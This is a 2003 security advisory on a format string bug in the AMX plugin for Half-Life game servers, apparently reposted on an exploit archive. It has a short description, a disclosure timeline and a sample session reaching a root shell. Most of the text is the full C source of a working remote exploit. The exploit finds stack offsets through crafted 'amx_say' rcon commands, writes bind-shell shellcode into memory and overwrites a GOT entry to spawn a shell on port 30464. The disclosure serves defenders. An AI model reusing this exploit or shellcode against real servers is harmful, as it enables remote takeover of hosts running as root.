Half-Life AMX-Mod remote (root) hole

2007.10.20
Credit: greuff
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[void.at Security Advisory VSA0308 - mailto:crew at void dot at] AMX[1] is a plugin for the "Half-Life Server", hosting the most popular online game today, "Counter-Strike", among others. Overview ======== Due to a format string bug in AMX, it is possible for a remote attacker who knows the rcon-password to remotely exploit the gameserver. Since most game-server- admins I've seen are not very security-aware, the server generally runs as root. The rcon-password can be obtained using social engineering or sniffing-techniques, since it is being transmitted in plaintext. It is needed because the vulnerable function can only be called via rcon. Affected Versions ================= All AMX versions <= 0.9.2 on Windows and Linux. Successfully tested with AMX 0.9.2 running on hlds 3.1.1.0 on Linux. Impact ====== High. Remote-shell and very likely remote-root. Details ======= This is a format string bug in the "amx_say"-command. I can't provide a code snipplet since this plugin is closed source. A word to the AMX-Team: closed source doesn't protect you against security bugs! rcon-output: log on amx_say %08x.%08x (ALL) hoschLAN CS 1.5 ~~ Public ~~ : %08x.%08x L 02/26/2003 - 18:39:09: Chat: "hoschLAN CS 1.5 ~~ Public ~~ <0><><>" say "%08x.%08x" L 02/26/2003 - 18:39:09: "hoschLAN CS 1.5 ~~ Public ~~ <0><><>" triggered "amx_say" (text "00000006.bffff258") Solution ======== Disable AMX until a patched version becomes available. Change the rcon-password. Exploit ======= Please find attached a demonstration exploit. Note that it will only work against a Linux-server due to the exploitation technique. This does NOT mean that Windows-servers are not vulnerable, they still suffer from the same hole. Sample exploitation session =========================== greuff@saturn:~$ ./hoagie_amx localhost 27015 myprecious hoagie_amx - remote exploit for hlds servers using the amx plugin by greuff (at) void (dot) at [email concealed] Getting stackpop count.... Stackpops found: 118, Padding: 1 Writing shellcode..... Connecting to the shell... Connect to the shell id uid=0(root) gid=0(root) groups=0(root),101(lpadmin) exit Discovered by ============= greuff <greuff (at) void (dot) at [email concealed]> Timeline ======== 02-11-2003: informed djeyl (at) djeyl (dot) net [email concealed] about the issue (AMX-developer) gave 14 days to release patched version to the public 02-16-2003: olo (at) counter-strike (dot) pl [email concealed] sent me a patched AMX version 02-20-2003: confirmed that patched AMX version closes the hole 02-25-2003: 14 days over: AMX-developers still didn't release a fixed version 02-26-2003: public disclosure Credits ======= void.at everyone who was at 19c3 References ========== [1] http://www.amxmod.net ================================================================== /***************************************************************** * hoagie_amx.c * * Remote exploit for Halflife-Servers running the AMX-Plugin * (rcon-password required) * * Binds a shell to port 30464/tcp and connects to it. * * Author: greuff (at) void (dot) at [email concealed] * * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux * * Credits: * void.at * Taeho Oh for using parts of his shellcode-connection code. * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. * *****************************************************************/ #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <stdlib.h> #define VSNPRINTF_GOT_ADDRESS 0x0804ce18 #define OFFSET 0x41414141 #define SB4(a) ((unsigned int)(a>>24)) #define SB3(a) ((unsigned int)((a>>16)&0xFF)) #define SB2(a) ((unsigned int)((a>>8)&0xFF)) #define SB1(a) ((unsigned int)(a&0XFF)) // forks and binds a shell to 30464/tcp. parent process exit()s. char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06" "\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51" "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd" "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77" "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51" "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3" "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03" "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0" "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd" "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c" "\x24\x31\xc0\xb0\x0b\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; char server_ip[20]; char rcon_pwd[30]; int server_port; int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh() { int sockfd,i; struct sockaddr_in sin; struct hostent *he; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1); memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr)); if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void create_conn(int *sock, char *host, int port) { struct sockaddr_in sin; struct timeval timeout; struct hostent *he; sin.sin_family=AF_INET; sin.sin_port=htons(port); if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1); memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr)); if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1); timeout.tv_sec=10; timeout.tv_usec=0; if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout, sizeof(timeout))<0) perror("setsockopt"),exit(1); if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout, sizeof(timeout))<0) perror("setsockopt"),exit(1); } void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply) { char msg[2000]; struct sockaddr_in sin; struct sockaddr_in sfrom; struct hostent *he; fd_set fdset; int dummy; usleep(100); sin.sin_family=AF_INET; sin.sin_port=htons(port); if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1); memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr)); sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd); if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0) perror("sendto"), exit(1); if(reply) { if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0) { if(errno==EAGAIN) { // resend message printf("msg stalled, resending...\n"); sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd); if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0) perror("sendto"), exit(1); else printf("resend OK\n"); if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0) perror("recvfrom"),exit(1); } else perror("recvfrom"), exit(1); } if(strncmp(msg,"\xFF\xFF\xFF\xFF",4)) fprintf(stderr,"protocol error: reply\n"), exit(1); strcpy(reply,msg+4); } } void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun) { char reply[1000]; char msg[2000]; lowlevel_rcon(sock,host,port,"challenge rcon",reply); if(!strstr(reply,"challenge rcon ")) fprintf(stderr,"protocol error\n"), exit(1); reply[strlen(reply)-1]=0; sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd); if(reply_fun) lowlevel_rcon(sock,host,port,msg,reply); else lowlevel_rcon(sock,host,port,msg,NULL); if(reply_fun) strcpy(reply_fun,reply); } int get_padding(unsigned char c,int bytes_written) { int write_byte=c; int already_written=bytes_written; int padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; return padding; } void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, int *p4, int bytes_written) { // greetings to scud :-) int write_byte; int already_written; int padding; write_byte=SB1(addr); already_written=bytes_written; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p1=padding; write_byte=SB2(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p2=padding; write_byte=SB3(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p3=padding; write_byte=SB4(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p4=padding; } int main(int argc, char **argv) { int sock, stackpops, padding; int i,j,bytes_written; int p1,p2,p3,p4; char cmd[1000], reply[1000]; unsigned long addr; printf("hoagie_amx - remote exploit for hlds servers using the amx plugin\n" "by greuff (at) void (dot) at [email concealed]\n\n"); if(argc!=4) { printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]); exit(1); } strcpy(server_ip,argv[1]); server_port=strtol(argv[2],NULL,10); strcpy(rcon_pwd,argv[3]); create_conn(&sock,server_ip,server_port); printf("Getting stackpop count..."); send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply); stackpops=-1; for(padding=0;padding<4 && stackpops==-1;padding++) { for(i=50;i<200 && stackpops==-1;i++) { strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); sprintf(reply,"AAAA%%%d$08x",i); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); reply[strlen(reply)-1]=0; if(strstr(reply,"AAAA41414141")) { char *ptr; ptr=strrchr(reply,'\n')+1; // get pointer to last log line stackpops=i; bytes_written=strstr(ptr," (text \"")+strlen(" (text \"")-strchr(ptr,'\"'); bytes_written+=4+padding; } printf("."); fflush(stdout); } } padding--; if(stackpops==-1) { printf("\ncouldn't determine stackpop count. (I really tried hard!)\n"); exit(1); } printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding); // inject shellcode printf("Writing shellcode..."); addr=OFFSET; for(i=0;i<strlen(shellcode);) { int t; if((addr&0xFF)>0x75) { // leave space for jmp-instruction (5 bytes: 0xe9 offset/32) // distance is 0x13B-0x7A = 193d unsigned long target=192; strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding(0xe9,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding(target&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>8)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>16)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>24)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr+=193; } else { // write shellcode-pieces strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding(shellcode[i],bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; i++; } printf("."); fflush(stdout); } // overwrite GOT entry with shellcode address strcpy(cmd,"amx_say "); for(j=0;j<padding;j++) strcat(cmd,"b"); get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4); addr=VSNPRINTF_GOT_ADDRESS; sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA" "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n", addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF, (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF , (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF , (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF , p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL); sleep(1); close(sock); printf("\nConnecting to the shell...\n"); exec_sh(connect_sh()); return 0; }


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